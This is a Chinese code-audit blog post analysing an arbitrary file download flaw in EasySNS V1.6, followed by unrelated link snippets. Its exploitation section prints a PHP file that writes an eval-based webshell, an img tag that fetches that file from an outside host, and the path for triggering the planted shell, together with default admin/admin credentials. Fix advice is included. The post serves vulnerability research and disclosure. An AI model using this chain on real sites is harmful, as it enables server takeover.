【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析
0x00 环境准备
EasySNS官网:http://www.imzaker.com/
网站源码版本:EasySNS极简社区V1.60
程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html
默认后台地址:http://127.0.0.1/admin.php/Login/login.html
默认账号密码:admin/admin
测试网站首页:

0x01 代码分析
1、 漏洞文件位置: /app/common.func.php

在公共调用函数里面,我们注意到getImageToLocal函数,通过正则从img标签里面获取链接,然后判断是否是本站地址,调用了getImage函数实现下载远程图片保存到本地,我们跟进同文件下的getImage函数进行查看,

在getImage函数中,并未对下载的文件名进行判断,获取文件后缀拼接到文件名,下载到网站目录中,那么这个函数是很危险的,很可能导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下。
2、 全局搜索getImageToLocal函数,找到调用函数的地方


漏洞文件:/app/index/controller/Topic.php,在topicadd函数中,webconfig('bd_image')==1即当程序开启远程图片本地化的时候,调用了getImageToLocal函数,我们可以根据条件构造Payload来进行漏洞利用,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。
0x02 漏洞利用
一、利用条件
1、登录网站后台—系统管理—配置管理—开启远程图片本地化(默认安装情况下处于关闭状态)

2、在第三方网站放置一个evil.php作为代码源,如http://192.168.8.131/evil.php
evil.php文件内容:
- <?php
 - echo "<?php ";
 - echo "eval(file_get_contents('php://input'));";
 - echo "?>";
 - ?>
 
二、漏洞利用
1、注册一个test1用户,选择发布帖子,在html代码编辑状态下插入img标签
<img src="http://192.168.8.131/evil.php" />

2、点击发布后,查看我的帖子,获取上传后的文件名。

3、文件路径格式为:/uploads/picture/cache/'.$uid.'/+$filename
查看个人主页获取uid值,

4、需要把uid加上拼接为完整路径,最终获得文件路径,成功触发恶意代码,获取网站服务器权限。
http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

0x03 修复建议
1、白名单限制远程图片本地化下载的文件名后缀,只允许下载jpg、png等格式;
2、禁止图片目录脚本执行权限。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析的更多相关文章
- 【代码审计】XYHCMS V3.5任意文件下载漏洞分析
		
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
 - 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析
		
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
 - 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析
		
0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4 更新时间:2017-09-13 程序源码下载:http://www ...
 - 代码审计-phpcms9.6.2任意文件下载漏洞
		
漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...
 - dzzoffice 任意文件下载漏洞分析
		
dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始: elseif($_GET['do']=='move'){ $obz=trim($_ ...
 - 【代码审计】EasySNS_V1.6 前台XSS跨站脚本漏洞分析
		
0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/ind ...
 - 代码审计-(Ear Music).任意文件下载漏洞
		
0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...
 - 任意文件下载漏洞的接口URL构造分析与讨论
		
文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...
 - PHP代码审计笔记--任意文件下载漏洞
		
在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件. 0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...
 
随机推荐
- onClickRow 事件
			
onClickRow: function (rowIndex, rowData) { dgonClickRow(rowData.oldCityCode,r ...
 - 【转】腾讯移动品质中心TMQ [腾讯 TMQ] 测试管理平台大比拼
			
简介 测试管理平台是贯穿测试整个生命周期的工具集合,它主要解决的是测试过程中团队协作的问题,比如缺陷管理.用例管理.测试任务管理等. 目前市面上比较流行的测试管理工具有QC. Mantis. BugZ ...
 - 【CentOS】CentOS7.0 mysql与卸载
			
mysql安装: 在使用命令 yum list mysql-server 安装mysql的时候,发现没有mysql的包.这时候,我们需要下载一个 下载包 wget http://repo.mysql. ...
 - VMware Ubuntu NAT 不能上网
			
在VMware中配置NAT,控制面板->网络和Internet->网络连接,设置对应的VMware网卡为DHCP. ubuntu虚拟机中配置网卡为DHCP.获取不到ip. 参考链接: ht ...
 - Android开发之旅(二)服务生命周期和广播接收者生命周期
			
引言 应用程序组件有一个生命周期——一开始Android实例化他们响应意图,直到结束实例被销毁.在这期间,他们有时候处于激活状态,有时候处于非激活状态:对于活动,对用户有时候可见,有时候不可见.组件生 ...
 - php模拟post提交数据,用处很多,可用来网站的采集,登陆等等
			
1. [代码][PHP]代码 <?php //以程序登陆一个论坛登录为例 function bbslogin($user_login, $password, $host, $port = &qu ...
 - C#基础--------------------C#正则表达式
			
为了避免以后这样的情况,在此记录下正则表达式的一些基本使用方法附带小的实例.让以后在使用时能一目了然知道他的使用,为开发节约时间,同时也分享给大家 正则元字符 在说正则表达式之前我们先来看看通配符,我 ...
 - char* 与 char[] 的区别
			
"Hello world"作为静态字符串实际上存储在数据区,但写程序的人不知道这个地址,而程序本身知道.当某一函数以{ char p[] = "Hello world&q ...
 - ASP.NET 网站超时跳转到登录界面
			
利用actionFilter过滤器实现,超时跳转到登录界面 /// <summary> /// 登录超时跳转至登录界面 /// </summary> public class ...
 - MySQL中mysqldump导出数据的使用
			
mysqldump常用参数说明: 帮助使用:mysqldump --help -A, --all-databases 导出全部数据库 mysqldump -uroot -p –A > /tmp/ ...